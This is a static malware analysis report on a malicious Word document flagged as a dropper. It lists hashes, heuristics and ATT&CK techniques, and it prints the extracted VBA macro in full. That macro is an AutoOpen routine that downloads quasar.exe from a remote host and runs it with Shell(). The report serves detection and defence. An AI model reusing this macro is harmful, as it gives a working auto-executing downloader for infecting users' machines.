Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e8627e261d86b577…

MALICIOUS

Office (OOXML)

19.2 KB Created: 2021-04-25 17:17:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2021-06-17
MD5: 5591dc980425ec346f2739d9c1d197ae SHA-1: 594ede166d7c2ff4cdff06160d74f775d75de6e1 SHA-256: e8627e261d86b577787f4bf3166d1dd7a080c1e4b69539cd8030fd59f17ab5b8
322 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is a malicious OOXML document containing VBA macros. The AutoOpen macro executes a GET request to download a file named 'quasar.exe' from 'http://192.168.220.150/quasar.exe' and saves it to 'C:\Users\bughunter\Downloads\quasar.exe'. It then executes the downloaded file using the Shell() function. This indicates a downloader or droppper functionality.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://192.168.220.150/quasar.exe In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 858 bytes
SHA-256: ba23c7148f5d114a69d9af39384422f1e4a6a63a22d1d928e9459e116b82bce7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()

Dim FileNum As Long
Dim FileData() As Byte
Dim MyRequest As Object

    Set MyRequest = CreateObject("WinHttp.WinHttpRequest.5.1")


filepath = "C:\Users\bughunter\Downloads\quasar.exe"
MyRequest.Open "GET", "http://192.168.220.150/quasar.exe", False
MyRequest.Send

FileNum = FreeFile
FileData = MyRequest.ResponseBody
Set MyRequest = Nothing

Open filepath For Binary Access Write As #FileNum
    Put #FileNum, 1, FileData
Close #FileNum

Shell (filepath)

MsgBox MyRequest.ResponseText
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 14848 bytes
SHA-256: c1015b9603e246ac21e471a61504361e8b334f76834086a73faf5255262963dd
Detection
ClamAV: Doc.Dropper.Agent-6412232-1
Obfuscation or payload: unlikely

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